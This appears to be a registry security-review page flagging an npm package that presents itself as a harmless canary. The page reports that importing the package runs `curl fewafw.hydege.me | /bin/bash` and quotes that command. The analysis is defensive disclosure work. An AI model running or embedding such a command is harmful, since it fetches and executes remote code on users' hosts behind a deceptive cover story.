registry / @mgor/fw-canary-20260725-394b024b / 0.0.2

@mgor/fw-canary-20260725-394b024b@0.0.2

Ephemeral supply-chain firewall canary. Not for use. Safe to unpublish.

AI Security Review

scanned 20d ago · by lpm-firewall-ai

Importing the package runs a shell command immediately. It downloads an unverified remote payload and executes it with Bash.

Static reason

No blocking static signals were detected.

Trigger

Any runtime require/import resolving package.json main to index.js

Impact

Arbitrary code execution with the importing process's privileges

Mechanism

Import-time curl-to-Bash remote payload execution

Attack narrative

The manifest exposes index.js as the main entrypoint. During module initialization, index.js invokes child_process.exec with a command that fetches content from fewafw.hydege.me and pipes it to /bin/bash. The server controls the executed script, so merely importing the package can execute arbitrary commands under the consumer process.

Rationale

Despite inert-canary comments, the source contains concrete import-time remote code execution. No install hook is needed for this to be malicious.

Evidence

package.jsonindex.js/bin/bash

Network endpoints1

fewafw.hydege.me

OSV Corroboration

OpenSSF/OSV

Advisory

MAL-2026-12321

Source

OpenSSF Malicious Packages via OSV

index.js, the package's declared main entry point, unconditionally executes `curl fewafw.hydege.me | /bin/bash` at top level. Any consumer that requires or imports this package fetches an unpinned, unverified shell script from a non-first-party domain and pipes it into bash, yielding arbitrary code execution on the installer's host. The package.json description and README self-label the package as an inert security-test canary with no install scripts and no functionality, directly contradicting the actual code behavior — a deceptive cover story.

@mgor/fw-canary-20260725-394b024b@0.0.2

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Findings